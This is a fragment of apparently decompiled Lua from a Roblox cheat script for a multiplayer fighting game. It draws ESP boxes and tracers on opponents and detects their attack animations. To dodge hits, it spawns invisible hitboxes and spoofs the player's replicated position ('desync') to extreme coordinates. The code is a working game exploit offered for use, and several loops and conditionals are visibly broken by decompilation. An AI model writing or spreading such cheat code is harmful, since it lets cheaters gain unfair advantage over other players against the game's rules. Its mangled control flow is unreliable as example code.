until getChar(p1018) and (getRoot(getChar(p1018)) and getHumanoid(getChar(p1018))) or not u43[p1018]
local u1027 = getChar(p1018)
local u1028
if u1027 then
u1028 = getRoot(u1027)
else
u1028 = u1027
end
local u1029
if u1027 then
u1029 = getHumanoid(u1027)
else
u1029 = u1027
end
if u1027 and (u1028 and (u1029 and u43[p1018])) then
task.spawn(function()
local v1030 = u1027
local v1031, v1032, v1033 = pairs(v1030:GetDescendants())
while true do
local u1034
v1033, u1034 = v1031(v1032, v1033)
if v1033 == nil then
break
end
if u1034:IsA('BasePart') and (u1034 ~= u1028 and u1034.Transparency ~= 1) and not u1034.Name:lower():find('hitbox') then
task.spawn(function()
while task.wait() and (not getChar(p1018) or getChar(p1018) == u1027) and u43[p1018] do
if u1034 and Toggles.AntiExploits_Invisibility.Value then
local v1035 = u1029
local v1036, v1037, v1038 = pairs(v1035:GetPlayingAnimationTracks())
while true do
local v1039
v1038, v1039 = v1036(v1037, v1038)
if v1038 == nil then
break
end
local v1040, v1041, v1042 = pairs(u58)
while true do
local v1043
v1042, v1043 = v1040(v1041, v1042)
if v1042 == nil then
break
end
if v1039.Animation.AnimationId:match(v1043) and v1039.Speed ~= 1 then
repeat
u1034.Transparency = 0.5
_RenderStepped:Wait()
until not (v1039.IsPlaying and Toggles.AntiExploits_Invisibility.Value)
u1034.Transparency = 0
end
end
end
end
end
end)
end
end
end)
local _Quad = Draw('Quad', {
Transparency = 1,
Filled = false,
Visible = false,
})
local _Line = Draw('Line', {Visible = false})
table.insert(u44.Players[p1018], _Quad)
table.insert(u44.Players[p1018], _Line)
local v1046 = _RenderStepped
u43[p1018][#u43[p1018] + 1] = v1046:Connect(function()
if Toggles.AntiExploits_Fling.Value then
u1028.Velocity = Vector3.new()
u1028.RotVelocity = Vector3.new()
u1028.AssemblyLinearVelocity = Vector3.new()
u1028.AssemblyAngularVelocity = Vector3.new()
end
local _CurrentCamera6 = workspace.CurrentCamera
if _CurrentCamera6 then
local v1048, v1049 = _CurrentCamera6:WorldToViewportPoint(u1028.Position)
local _CFrame17 = u1028.CFrame
if Toggles.FaceCamera.Value then
_CFrame17 = CFrame.new(_CFrame17.p, _CFrame17.p - _CurrentCamera6.CFrame.lookVector)
end
local v1051 = CFrame.new(0, 0, 0)
local v1052 = Vector3.new(4, 6, 0)
local v1053 = {
TopLeft = _CFrame17 * v1051 * CFrame.new(v1052.X / 2, v1052.Y / 2, 0),
TopRight = _CFrame17 * v1051 * CFrame.new(-v1052.X / 2, v1052.Y / 2, 0),
BottomLeft = _CFrame17 * v1051 * CFrame.new(v1052.X / 2, -v1052.Y / 2, 0),
BottomRight = _CFrame17 * v1051 * CFrame.new(-v1052.X / 2, -v1052.Y / 2, 0),
TagPos = _CFrame17 * v1051 * CFrame.new(0, v1052.Y / 2, 0),
Torso = _CFrame17 * v1051,
}
if _Quad then
if Toggles.BoxESP.Value and (v1048 and v1049) then
local v1054, v1055 = _CurrentCamera6:WorldToViewportPoint(v1053.TopLeft.p)
local v1056, v1057 = _CurrentCamera6:WorldToViewportPoint(v1053.TopRight.p)
local v1058, v1059 = _CurrentCamera6:WorldToViewportPoint(v1053.BottomLeft.p)
local v1060, v1061 = _CurrentCamera6:WorldToViewportPoint(v1053.BottomRight.p)
if v1055 or (v1057 or (v1059 or v1061)) then
_Quad.PointA = Vector2.new(v1056.X, v1056.Y)
_Quad.PointB = Vector2.new(v1054.X, v1054.Y)
_Quad.PointC = Vector2.new(v1058.X, v1058.Y)
_Quad.PointD = Vector2.new(v1060.X, v1060.Y)
_Quad.Color = Options.BoxColor.Value
_Quad.Thickness = Options.BoxThickness.Value
_Quad.Transparency = Options.BoxTransparency.Value
_Quad.Visible = true
else
_Quad.Visible = false
_Quad.Thickness = 0
end
else
_Quad.Visible = false
_Quad.Thickness = 0
end
end
if _Line then
if Toggles.Tracers.Value and (v1048 and v1049) then
if Toggles.UnlockTracers.Value then
_Line.From = Vector2.new(u6.X, u6.Y + 60)
else
_Line.From = Vector2.new(_CurrentCamera6.ViewportSize.X / 2, _CurrentCamera6.ViewportSize.Y / 1)
end
_Line.To = Vector2.new(v1048.X, v1048.Y)
_Line.Color = Options.TracerColor.Value
_Line.Thickness = Options.TracerThickness.Value
_Line.Transparency = Options.TracerTransparency.Value
_Line.Visible = true
else
_Line.Visible = false
end
end
else
_Line.Visible = false
_Quad.Visible = false
end
end)
u43[p1018][#u43[p1018] + 1] = u1027.ChildAdded:Connect(function(p1062)
if p1062:IsA('Accessory') and p1062.Name == 'Counter' then
MoveNotify(p1018, 'Death Counter')
if Toggles.ShowDeathCounter.Value then
local v1063 = {
Parent = u1028,
SoundId = 'rbxassetid://6476791205',
Volume = 10,
}
Create('Sound', v1063):Play()
local u1064 = {}
for v1065 = 1, 10 do
local v1066 = Random.new():NextNumber(0.9, 1.1)
local u1067 = _ReplicatedStorage.Resources.LegacyReplication.Menacing:Clone()
u1067.Enabled = true
u1067.Size = UDim2.new(v1066, 0, v1066, 0)
local v1068 = Random.new():NextNumber(-4, 4)
local v1069 = math.random(-4, 4)
u1067.StudsOffsetWorldSpace = Vector3.new(v1068, 0, v1069)
u1067.Parent = u1028
table.insert(u1064, u1067)
task.delay(v1065, function()
if u1067.Parent then
table.remove(u1064, table.find(u1064, u1067))
_TweenService:Create(u1067, TweenInfo.new(1, Enum.EasingStyle.Back, Enum.EasingDirection.In), {
StudsOffsetWorldSpace = u1067.StudsOffsetWorldSpace - Vector3.new(0, 10, 0),
}):Play()
_TweenService:Create(u1067.ImageLabel, TweenInfo.new(1, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {ImageTransparency = 1}):Play()
end
end)
end
local v1070 = {}
local v1071 = {Parent = true}
while wait() do
local v1072, v1073, v1074 = pairs(u1064)
while true do
local v1075
v1074, v1075 = v1072(v1073, v1074)
if v1074 == nil then
break
end
if not v1070[v1075] then
v1070[v1075] = v1075.StudsOffsetWorldSpace
end
local v1076 = v1070[v1075]
local v1077 = Random.new():NextNumber(-0.04, 0.04)
v1075.StudsOffsetWorldSpace = v1076 + Vector3.new(v1077, v1077, v1077)
end
if not (v1071 and v1071.Parent) then
local v1078, v1079, v1080 = pairs(u1064)
while true do
local v1081
v1080, v1081 = v1078(v1079, v1080)
if v1080 == nil then
break
end
local v1082 = Random.new():NextNumber(2, 3)
_TweenService:Create(v1081, TweenInfo.new(v1082, Enum.EasingStyle.Back, Enum.EasingDirection.In), {
StudsOffsetWorldSpace = v1070[v1081] - Vector3.new(0, 10, 0),
}):Play()
_TweenService:Create(v1081.ImageLabel, TweenInfo.new(v1082, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {ImageTransparency = 1}):Play()
end
local u1083 = u1064
task.delay(3, function()
local v1084, v1085, v1086 = pairs(u1083)
while true do
local v1087
v1086, v1087 = v1084(v1085, v1086)
if v1086 == nil then
break
end
v1087:Destroy()
end
end)
break
end
end
end
end
end)
u43[p1018][#u43[p1018] + 1] = u1029.AnimationPlayed:Connect(function(p1088)
local _AnimationId2 = p1088.Animation.AnimationId
local u1090 = getChar(_LocalPlayer)
local u1091
if u1090 then
u1091 = getRoot(u1090)
else
u1091 = u1090
end
local u1092
if u1090 then
u1092 = getHumanoid(u1090)
else
u1092 = u1090
end
local _Value15 = Toggles.AntiMovesMisc_BackdashCancel.Value
if u1090 and (u1091 and u1092) then
task.spawn(function()
if p1088.WeightTarget == 0 or p1088.Speed == 0 then
return
end
if _AnimationId2:match('129945907044125') and isAnimPlaying(u1092, '131226430469931') then
u1027:SetAttribute('CrushedRockVariant', true)
end
if _AnimationId2:match('10468665991') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Normal Punch') then
local _Part2 = Instance.new('Part', _Workspace)
_Part2.Anchored = true
_Part2.Size = Vector3.new(12.5, 5, 75)
_Part2.CanCollide = false
_Part2.Transparency = 1
local _Part3 = Instance.new('Part', _Workspace)
_Part3.Anchored = true
_Part3.Size = Vector3.new(12.5, 5, 75)
_Part3.CanCollide = false
_Part3.Transparency = 1
local _Part4 = Instance.new('Part', _Workspace)
_Part4.Anchored = true
_Part4.Size = Vector3.new(12.5, 5, 75)
_Part4.CanCollide = false
_Part4.Transparency = 1
local u1097 = false
local u1098 = false
local u1099 = false
local v1100 = {}
table.insert(v1100, _Part2.Touched:Connect(function(p1101)
if p1101 == u1091 then
u1097 = true
end
end))
table.insert(v1100, _Part2.TouchEnded:Connect(function(p1102)
if p1102 == u1091 then
u1097 = false
end
end))
table.insert(v1100, _Part3.Touched:Connect(function(p1103)
if p1103 == u1091 then
u1098 = true
end
end))
table.insert(v1100, _Part3.TouchEnded:Connect(function(p1104)
if p1104 == u1091 then
u1098 = false
end
end))
table.insert(v1100, _Part4.Touched:Connect(function(p1105)
if p1105 == u1091 then
u1099 = true
end
end))
table.insert(v1100, _Part4.TouchEnded:Connect(function(p1106)
if p1106 == u1091 then
u1099 = false
end
end))
if _Value15 then
task.wait(0.35)
_Part2.CFrame = u1028.CFrame * CFrame.new(6, 0, -_Part2.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(-5), 0)
_Part3.CFrame = u1028.CFrame * CFrame.new(-6, 0, -_Part3.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(5), 0)
_Part4.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part4.Size.Z / 2 + 1.5)
task.wait()
if u1097 or (u1098 or u1099) then
bdcancel()
end
_Part2:Destroy()
_Part3:Destroy()
_Part4:Destroy()
local v1107, v1108, v1109 = pairs(v1100)
while true do
local v1110
v1109, v1110 = v1107(v1108, v1109)
if v1109 == nil then
break
end
v1110:Disconnect()
end
return
end
local v1111 = tick()
local v1112 = u1099
local v1113 = u1098
local v1114 = u1097
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] NORMAL PUNCH')
end
_Part2.CFrame = u1028.CFrame * CFrame.new(6, 0, -_Part2.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(-5), 0)
_Part3.CFrame = u1028.CFrame * CFrame.new(-6, 0, -_Part3.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(5), 0)
_Part4.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part4.Size.Z / 2 + 1.5)
if (v1114 or (v1113 or v1112)) and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] NORMAL PUNCH')
end
_Part2.CFrame = u1028.CFrame * CFrame.new(6, 0, -_Part2.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(-5), 0)
_Part3.CFrame = u1028.CFrame * CFrame.new(-6, 0, -_Part3.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(5), 0)
_Part4.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part4.Size.Z / 2 + 1.5)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if not (v1114 or (v1113 or v1112)) or (tick() >= v1111 + 0.8 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1111 + 0.8 or not p1088.IsPlaying then
getgenv().desync = nil
_Part2:Destroy()
_Part3:Destroy()
_Part4:Destroy()
local v1115, v1116, v1117 = pairs(v1100)
while true do
local v1118
v1117, v1118 = v1115(v1116, v1117)
if v1117 == nil then
break
end
v1118:Disconnect()
end
end
end
end
if _AnimationId2:match('10466974800') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Consecutive Punches') then
local _Part5 = Instance.new('Part', _Workspace)
_Part5.Anchored = true
_Part5.Size = Vector3.new(12.5, 5, 12.5)
_Part5.CanCollide = false
_Part5.Transparency = 1
local u1120 = false
local v1122 = _Part5.Touched:Connect(function(p1121)
if p1121 == u1091 then
u1120 = true
end
end)
local v1124 = _Part5.TouchEnded:Connect(function(p1123)
if p1123 == u1091 then
u1120 = false
end
end)
local v1125 = tick()
local v1126 = u1120
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] CONSECUTIVE PUNCHES')
end
_Part5.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part5.Size.Z / 2)
if v1126 == true and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] CONSECUTIVE PUNCHES')
end
_Part5.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part5.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1126 == false or (tick() >= v1125 + 1.5 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1125 + 1.5 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part5 then
_Part5:Destroy()
end
v1122:Disconnect()
v1124:Disconnect()
end
end
end
if _AnimationId2:match('10471336737') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Shove') then
local _Part6 = Instance.new('Part', _Workspace)
_Part6.Anchored = true
_Part6.Size = Vector3.new(7.5, 5, 7.5)
_Part6.CanCollide = false
_Part6.Transparency = 1
local u1128 = false
local v1130 = _Part6.Touched:Connect(function(p1129)
if p1129 == u1091 then
u1128 = true
end
end)
local v1132 = _Part6.TouchEnded:Connect(function(p1131)
if p1131 == u1091 then
u1128 = false
end
end)
_Part6.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part6.Size.Z / 2)
if _Value15 then
task.wait()
if u1128 and not isCountering(u1092) then
bdcancel()
end
_Part6:Destroy()
v1130:Disconnect()
v1132:Disconnect()
return
end
local v1133 = tick()
local v1134 = u1128
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] SHOVE')
end
_Part6.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part6.Size.Z / 2)
if v1134 ~= true or isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] SHOVE')
end
_Part6.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part6.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1134 == false or (tick() >= v1133 + 0.5 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
_RenderStepped:Wait()
if tick() >= v1133 + 0.5 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part6 then
_Part6:Destroy()
end
v1130:Disconnect()
v1132:Disconnect()
end
end
end
if _AnimationId2:match('12510170988') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Uppercut') then
task.wait(0.25)
if not p1088.IsPlaying then
end
local _Part7 = Instance.new('Part', _Workspace)
_Part7.Anchored = true
_Part7.Size = Vector3.new(10, 10, 10)
_Part7.CanCollide = false
_Part7.Transparency = 1
local u1136 = false
local v1138 = _Part7.Touched:Connect(function(p1137)
if p1137 == u1091 then
u1136 = true
end
end)
local v1140 = _Part7.TouchEnded:Connect(function(p1139)
if p1139 == u1091 then
u1136 = false
end
end)
if _Value15 then
task.wait(0.1)
_Part7.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part7.Size.Z / 2)
task.wait()
if u1136 and not isCountering(u1092) then
bdcancel()
end
_Part7:Destroy()
v1138:Disconnect()
v1140:Disconnect()
return
end
local v1141 = tick()
local v1142 = u1136
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] UPPERCUT')
end
_Part7.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part7.Size.Z / 2)
if v1142 == true and not isCountering(u1092) then
while true do
if antidebug then
warn('[ANTI DEBUG] UPPERCUT')
end
_Part7.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part7.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1142 == false or (tick() >= v1141 + 0.5 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
end
_RenderStepped:Wait()
if tick() >= v1141 + 0.5 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part7 then
_Part7:Destroy()
end
v1138:Disconnect()
v1140:Disconnect()
end
end
end
if _AnimationId2:match('11343318134') and rawget(Options.AntiMoves_Saitama.Value, 'Anti Death Counter') then
task.wait(7.5)
local _Part8 = Instance.new('Part', _Workspace)
_Part8.Anchored = true
_Part8.Size = Vector3.new(125, 5, 500)
_Part8.CanCollide = false
_Part8.Transparency = 1
local _Part9 = Instance.new('Part', _Workspace)
_Part9.Anchored = true
_Part9.Size = Vector3.new(125, 5, 500)
_Part9.CanCollide = false
_Part9.Transparency = 1
local _Part10 = Instance.new('Part', _Workspace)
_Part10.Anchored = true
_Part10.Size = Vector3.new(125, 5, 500)
_Part10.CanCollide = false
_Part10.Transparency = 1
local u1146 = false
local u1147 = false
local u1148 = false
local v1149 = {}
table.insert(v1149, _Part8.Touched:Connect(function(p1150)
if p1150 == u1091 then
u1146 = true
end
end))
table.insert(v1149, _Part8.TouchEnded:Connect(function(p1151)
if p1151 == u1091 then
u1146 = false
end
end))
table.insert(v1149, _Part9.Touched:Connect(function(p1152)
if p1152 == u1091 then
u1147 = true
end
end))
table.insert(v1149, _Part9.TouchEnded:Connect(function(p1153)
if p1153 == u1091 then
u1147 = false
end
end))
table.insert(v1149, _Part10.Touched:Connect(function(p1154)
if p1154 == u1091 then
u1148 = true
end
end))
table.insert(v1149, _Part10.TouchEnded:Connect(function(p1155)
if p1155 == u1091 then
u1148 = false
end
end))
local v1156 = tick()
local v1157 = u1148
local v1158 = u1147
local v1159 = u1146
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] DEATH COUNTER')
end
_Part8.CFrame = u1028.CFrame * CFrame.new(60, 0, -_Part8.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(-15), 0)
_Part9.CFrame = u1028.CFrame * CFrame.new(-60, 0, -_Part9.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(15), 0)
_Part10.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part10.Size.Z / 2 + 1.5)
if not (v1159 or (v1158 or (v1157 or touchingMiddle))) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] DEATH COUNTER')
end
_Part8.CFrame = u1028.CFrame * CFrame.new(60, 0, -_Part8.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(-15), 0)
_Part9.CFrame = u1028.CFrame * CFrame.new(-60, 0, -_Part9.Size.Z / 2 + 1.5) * CFrame.Angles(0, math.rad(15), 0)
_Part10.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part10.Size.Z / 2 + 1.5)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if not (v1159 or (v1158 or (v1157 or touchingMiddle))) or (tick() >= v1156 + 2.5 or not p1088.IsPlaying) then
getgenv().desync = nil
end
end
end
_RenderStepped:Wait()
if tick() >= v1156 + 2.5 or not p1088.IsPlaying then
getgenv().desync = nil
_Part8:Destroy()
_Part9:Destroy()
_Part10:Destroy()
local v1160, v1161, v1162 = pairs(v1149)
while true do
local v1163
v1162, v1163 = v1160(v1161, v1162)
if v1162 == nil then
break
end
v1163:Disconnect()
end
end
end
end
if _AnimationId2:match('12272894215') and rawget(Options.AntiMoves_Garou.Value, 'Anti Flowing Water') then
local _Part11 = Instance.new('Part', _Workspace)
_Part11.Anchored = true
_Part11.Size = Vector3.new(10, 5, 10)
_Part11.CanCollide = false
_Part11.Transparency = 1
local u1165 = false
local v1167 = _Part11.Touched:Connect(function(p1166)
if p1166 == u1091 then
u1165 = true
end
end)
local v1169 = _Part11.TouchEnded:Connect(function(p1168)
if p1168 == u1091 then
u1165 = false
end
end)
if _Value15 then
_Part11.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part11.Size.Z / 2)
task.wait()
if u1165 and not isCountering(u1092) then
bdcancel()
end
_Part11:Destroy()
v1167:Disconnect()
v1169:Disconnect()
return
end
local v1170 = tick()
local v1171 = u1165
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] FLOWING WATER')
end
_Part11.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part11.Size.Z / 2)
if v1171 ~= true or isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] FLOWING WATER')
end
_Part11.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part11.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1171 == false or (tick() >= v1170 + 0.5 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
_RenderStepped:Wait()
if tick() >= v1170 + 0.5 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part11 then
_Part11:Destroy()
end
v1167:Disconnect()
v1169:Disconnect()
end
end
end
if _AnimationId2:match('12273188754') and rawget(Options.AntiMoves_Garou.Value, 'Anti Flowing Water') then
local _Part12 = Instance.new('Part', _Workspace)
_Part12.Anchored = true
_Part12.Size = Vector3.new(15, 5, 15)
_Part12.CanCollide = false
_Part12.Transparency = 1
local u1173 = false
local v1175 = _Part12.Touched:Connect(function(p1174)
if p1174 == u1091 then
u1173 = true
end
end)
local v1177 = _Part12.TouchEnded:Connect(function(p1176)
if p1176 == u1091 then
u1173 = false
end
end)
local v1178 = tick()
local v1179 = u1173
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] FLOWING WATER HIT')
end
_Part12.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part12.Size.Z / 2)
if v1179 ~= true or isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] FLOWING WATER HIT')
end
_Part12.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part12.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1179 == false or (tick() >= v1178 + 2 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
_RenderStepped:Wait()
if tick() >= v1178 + 2 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part12 then
_Part12:Destroy()
end
v1175:Disconnect()
v1177:Disconnect()
end
end
end
if _AnimationId2:match('14374357351') and rawget(Options.AntiMoves_Garou.Value, 'Anti Flowing Water') then
local _Part13 = Instance.new('Part', _Workspace)
_Part13.Anchored = true
_Part13.Size = Vector3.new(10, 5, 15)
_Part13.CanCollide = false
_Part13.Transparency = 1
local u1181 = false
local v1183 = _Part13.Touched:Connect(function(p1182)
if p1182 == u1091 then
u1181 = true
end
end)
local v1185 = _Part13.TouchEnded:Connect(function(p1184)
if p1184 == u1091 then
u1181 = false
end
end)
local v1186 = tick()
local v1187 = u1181
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] FLOWING WATER FINISHER')
end
_Part13.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part13.Size.Z / 2)
if v1187 ~= true or isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] FLOWING WATER FINISHER')
end
_Part13.CFrame = u1028.CFrame * CFrame.new(0, 0, -_Part13.Size.Z / 2)
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if v1187 == false or (tick() >= v1186 + 1.5 or (not p1088.IsPlaying or isCountering(u1092))) then
getgenv().desync = nil
end
end
end
_RenderStepped:Wait()
if tick() >= v1186 + 1.5 or not p1088.IsPlaying then
getgenv().desync = nil
if _Part13 then
_Part13:Destroy()
end
v1183:Disconnect()
v1185:Disconnect()
task.wait(0.5)
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] FLOWING WATER FINISHER')
end
if (u1091.Position - u1028.Position).Magnitude > 25 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] FLOWING WATER FINISHER')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 25 or tick() >= v1186 + 2.75 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1186 + 2.75 then
getgenv().desync = nil
end
end
end
end
end
if _AnimationId2:match('12296882427') and rawget(Options.AntiMoves_Garou.Value, 'Anti Lethal Whirlwind Stream') then
if _Value15 and ((u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude <= 10 and not isCountering(u1092)) then
bdcancel()
return
end
local v1188 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM')
end
if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude > 10 or isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude > 10 or (tick() >= v1188 + 0.5 or isCountering(u1092)) then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1188 + 0.5 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('12296113986') and rawget(Options.AntiMoves_Garou.Value, 'Anti Lethal Whirlwind Stream') then
task.delay(1.35, function()
local v1189 = tick()
while true do
if antidebug then
warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM HIT')
end
if (u1091.Position - u1028.Position).Magnitude <= 15 then
break
end
task.wait()
if tick() >= v1189 + 0.65 then
getgenv().desync = nil
return
end
end
while true do
if antidebug then
warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM HIT')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 15 or tick() >= v1189 + 0.65 then
getgenv().desync = nil
end
end
end)
local v1190 = tick()
if (u1091.Position - u1028.Position).Magnitude > 15 then
end
while true do
if antidebug then
warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM HIT')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if tick() >= v1190 + 0.5 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('14798608838') and rawget(Options.AntiMoves_Garou.Value, 'Anti Lethal Whirlwind Stream') then
task.delay(0.75, function()
local v1191 = tick()
while true do
if antidebug then
warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM FINISHER')
end
if (u1091.Position - u1028.Position).Magnitude <= 25 then
break
end
task.wait()
if tick() >= v1191 + 0.75 then
getgenv().desync = nil
return
end
end
while true do
if antidebug then
warn('[ANTI DEBUG] LETHAL WHIRLWIND STREAM FINISHER')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - u1028.Position).Magnitude > 25 or tick() >= v1191 + 0.75 then
getgenv().desync = nil
end
end
end)
end
if _AnimationId2:match('12307656616') and rawget(Options.AntiMoves_Garou.Value, 'Anti Hunters Grasp') then
local v1192 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] HUNTERS GRASP')
end
if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude > 10 or isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] HUNTERS GRASP')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -2.5)).Position).Magnitude > 10 or (tick() >= v1192 + 0.35 or isCountering(u1092)) then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1192 + 0.35 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('13603396939') and rawget(Options.AntiMoves_Garou.Value, 'Anti Preys Peril') then
local v1193 = tick()
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 2')
end
if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -1)).Position).Magnitude > 7.5 then
end
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 2')
end
if isCountering(u1092) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 2')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if isCountering(u1092) or ((u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -1)).Position).Magnitude > 7.5 or tick() >= v1193 + 2.5) then
getgenv().desync = nil
end
end
end
task.wait()
if (u1091.Position - (u1028.CFrame * CFrame.new(0, 0, -1)).Position).Magnitude > 7.5 or tick() >= v1193 + 2.5 then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1193 + 2.75 then
getgenv().desync = nil
end
end
end
if _AnimationId2:match('16515850153') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Windstorm Fury') then
task.spawn(function()
if (u1091.Position - u1028.Position).Magnitude <= 15 then
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
end
local _Dotted = u442:WaitForChild('Dotted', 1)
if _Dotted then
local _Dots = _Dotted:WaitForChild('Dots', 1)
if not _Dots then
end
local v1196 = tick()
if (u1091.Position - _Dots.Position).Magnitude > 20 then
getgenv().desync = nil
end
while true do
if true then
if antidebug then
warn('[ANTI DEBUG] 3')
end
if (u1091.Position - _Dots.Position).Magnitude > 20 or isDeathCountering(u1090) then
end
while true do
if antidebug then
warn('[ANTI DEBUG] 3')
end
getgenv().desync = {
CFrame = CFrame.new(9000000000, 9000000000, 9000000000),
}
task.wait()
if (u1091.Position - _Dots.Position).Magnitude > 20 or (tick() >= v1196 + 4.25 or isDeathCountering(u1090)) then
getgenv().desync = nil
end
end
end
task.wait()
if tick() >= v1196 + 4.25 then
getgenv().desync = nil
end
end
else
if not _Dotted then
getgenv().desync = nil
end
return
end
end)
end
if _AnimationId2:match('16431491215') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Stone Grave') then
task.spawn(function()
